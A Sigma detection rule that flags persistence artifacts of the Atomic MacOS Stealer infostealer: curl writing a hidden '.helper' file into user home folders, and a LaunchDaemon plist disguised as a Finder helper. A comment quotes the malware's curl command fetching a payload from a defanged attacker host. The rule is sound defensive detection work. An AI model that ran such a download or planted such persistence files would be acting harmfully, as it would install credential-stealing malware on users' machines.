Atomic MacOS Stealer - Persistence Indicators

title: Atomic MacOS Stealer - Persistence Indicators
id: e710a880-1f18-4417-b6a0-b5afdf7e3023
status: experimental
description: |
    Detects creation of persistence artifacts placed by Atomic MacOS Stealer in macOS systems. Recent Atomic MacOS Stealer variants have been observed dropping these to maintain persistent access after compromise.
references:
    - https://moonlock.com/amos-backdoor-persistent-access
    - https://github.com/bobby-tablez/TTP-Threat-Feeds/blob/45398914e631f8372c3a9fbcd339ff65ffff1b17/results/2025/10/20251001-161956-trendmicro-atomic-macos-stealer-(amos).yml#L44
author: Jason Phang Vern - Onn, Robbin Ooi Zhen Heng (Gen Digital)
date: 2025-11-22
tags:
    - attack.persistence
    - attack.privilege-escalation
    - attack.stealth
    - attack.t1564.001
    - attack.t1543.004
    - detection.emerging-threats
logsource:
    category: file_event
    product: macos
detection:
    selection_user_helper:
        # sh -c curl -o '/Users/<username>/.helper' hxxps://halesmp[.]com/zxc/app
        Image|endswith: '/curl'
        TargetFilename|startswith: '/Users/'
        TargetFilename|endswith: '.helper'
    selection_launchdaemon:
        TargetFilename: '/Library/LaunchDaemons/com.finder.helper.plist'
    condition: 1 of selection_*
falsepositives:
    - Unknown
level: high